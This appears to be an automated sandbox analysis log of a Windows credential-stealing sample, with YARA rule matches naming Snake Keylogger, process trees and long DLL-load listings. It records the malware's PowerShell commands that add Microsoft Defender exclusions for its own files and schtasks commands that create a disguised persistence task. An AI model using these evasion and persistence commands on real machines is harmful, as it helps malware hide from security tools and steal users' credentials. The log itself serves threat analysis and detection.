Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: e-dekont_html.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: fahKSvwo.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, HeTSatuh0uWI5PMcPt.cs Security API names: _0020.SetAccessControl
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, HeTSatuh0uWI5PMcPt.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, HeTSatuh0uWI5PMcPt.cs Security API names: _0020.AddAccessRule
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, gAT7eoJMygn6gjWsIx.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, HeTSatuh0uWI5PMcPt.cs Security API names: _0020.SetAccessControl
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, HeTSatuh0uWI5PMcPt.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, HeTSatuh0uWI5PMcPt.cs Security API names: _0020.AddAccessRule
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, gAT7eoJMygn6gjWsIx.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@19/15@4/4
Source: C:\Users\user\Desktop\e-dekont_html.exe File created: C:\Users\user\AppData\Roaming\fahKSvwo.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Mutant created: \Sessions\1\BaseNamedObjects\LhOILbfZuhSGjtSJxZaY
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6976:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6740:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1892:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03
Source: C:\Users\user\Desktop\e-dekont_html.exe File created: C:\Users\user\AppData\Local\Temp\tmp7653.tmp Jump to behavior
Source: e-dekont_html.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: e-dekont_html.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\e-dekont_html.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: e-dekont_html.exe ReversingLabs: Detection: 63%
Source: e-dekont_html.exe Virustotal: Detection: 67%
Source: C:\Users\user\Desktop\e-dekont_html.exe File read: C:\Users\user\Desktop\e-dekont_html.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\e-dekont_html.exe "C:\Users\user\Desktop\e-dekont_html.exe"
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Users\user\Desktop\e-dekont_html.exe "C:\Users\user\Desktop\e-dekont_html.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\fahKSvwo.exe C:\Users\user\AppData\Roaming\fahKSvwo.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process created: C:\Users\user\AppData\Roaming\fahKSvwo.exe "C:\Users\user\AppData\Roaming\fahKSvwo.exe"
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe" Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe" Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp" Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Users\user\Desktop\e-dekont_html.exe "C:\Users\user\Desktop\e-dekont_html.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp" Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process created: C:\Users\user\AppData\Roaming\fahKSvwo.exe "C:\Users\user\AppData\Roaming\fahKSvwo.exe" Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: amsi.dll Jump to behavior
